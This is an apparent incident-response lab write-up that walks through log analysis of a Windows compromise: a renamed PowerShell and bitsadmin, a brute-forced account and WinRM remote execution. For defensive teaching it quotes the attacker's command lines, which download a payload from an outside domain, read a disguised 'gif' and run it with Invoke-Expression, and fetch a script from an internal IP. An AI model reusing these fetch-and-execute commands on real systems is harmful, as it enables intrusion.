Knock Knock Audit

Looking at the VT Hunting Dashboard we see there’s a single hit on a Sigma rule called Renamed Binary. We can create a filter on this value, pin it and pivot to the Discovery view.

In Discovery, we can see process ID (PID) 6940 caused the renamed binary hit. It appears to be powershell.exe renamed to zOygKO.exe. The full command line argument was: "C:\ProgramData\zOygKO.exe" -c &{$mK=gc C:\Users\vagrant\AppData\Roaming\1x1.gif| Out-String; Invoke-Expression $mK }, which attempts to read the data in the “gif” file, and invoke it.

Continuing from above, if we do a filter on the parent PID 3420 of the PowerShell process, we’ll find bitsadmin.exe was also executed, but renamed as QZrexYgin.exe. It attempted to download https://fhivelifestyle[dot]online/lidepato/03339980793/1x1.gif at 2020-11-24T01:02:26.817Z. This is the file we identified in the last question that contained the content PowerShell tried to execute.

We can query for the PID 3420, which is the parent PID of the above processes (or look at their ParentCommandLine), and identify the source as the audit.vbs script run by csript.exe at 2020-11-24T01:02:26.326Z by VAGRANT-10\\vagrant on vagrant-10. If we dig a little deeper into the process tree, we’ll find the following:

• 2020-11-24T01:02:26.326Z
  • PID: 3420
  • Command Line: cscript.exe C:\Users\Vagrant\Desktop\audit.vbs
• 2020-11-24T01:02:26.266Z
  • PID: 2472
  • Command Line: C:\Windows\system32\cmd.exe /C cscript.exe C:\Users\Vagrant\Desktop\audit.vbs
• 2020-11-24T01:02:26.191Z
  • PID: 5712
  • Command Line: C:\Windows\system32\WinrsHost.exe -Embedding

WinrsHost.exe is the Host Process for WinRM's Remote Shell plugin, so it seems that the script was launched remotely.

Since we know the name and path of our file is C:\Users\vagrant\Desktop\audit.vbs we can do a search for that value as a TargetFilename using the following query winlog.event_data.TargetFilename:"C:\Users\vagrant\Desktop\audit.vbs". This results in a single hit for PID 6316.

Filtering on that PID, and removing our Targetfilename query, we see that the command line associated to this process was powershell.exe Invoke-WebRequest http://10.0.3.15:8000/audit.vbs -OutFile C:\Users\Vagrant\Desktop\audit.vbs. The source of the audit.vbs file was 10.0.3.15.

Typically, when looking to identify a compromise by doing log analysis you’re searching for three main things:

• Malicious indicators, such as known bad hashes, domains or IPs.
• Malicious behavior, such as parent/child process pairs that are generally never used for “good” purposes (ex: Office document launching PowerShell).
• Anomalies, which can be viewed as deviations from “normal” frequencies of events. You can think of anomalies as having two main categories:
• A significant increase in events above what is considered “normal”.
• An event that should never occur (or occur at a very low frequency), occurs.

Note: There are a number ways you can setup alerts for frequency-based anomalies. For example, elastalert.

In this lab, we have an example of an anomaly where there has been a significant increase in events. Looking at the VT Hunting Dashboard we can see a significant spike of activity, including a number of 4625 events (these are Security events for an account failing to log on).

It should be noted that an increase in failed login attempts isn’t always a sign of a compromise. It’s not uncommon to see them happen if a device or application has been misconfigured (perhaps with expired credentials). Regardless, it’s worth having digging into, and if it’s only a configuration error, making the necessary changes to fix it.

Let’s filter for event ID 4625, and pivot to Discover, where we’ll see there were roughly 10,000 events all of which:

• Were for the username vagrant
• Were a network logon attempt (LogonType: 3)
• Had a correct username, but incorrect password (SubStatus: 0xc000006a)

Unfortunately, we can’t see the source IP of these events. But, if we change our event ID filter to 3 (for Sysmon network connections), we’ll find that there were roughly 10,000 connections involving 10.0.3.15. This was also the IP where the audit.vbs file was hosted.

It is likely that 10.0.3.15 is compromised, brute forced the vagrant credentials, and then used WinRM to compromise the vagrant-10 workstation.

Unfortunately, we don’t appear to have logs for that compromised IP. Not having full asset coverage isn’t uncommon and can happen for a number of reasons, including the device not providing a way to access its logs, resource constraints, or an asset simply got missed. That said, as we’ve seen here, you can often still catch compromises on these assets by monitoring their interactions with the devices around them.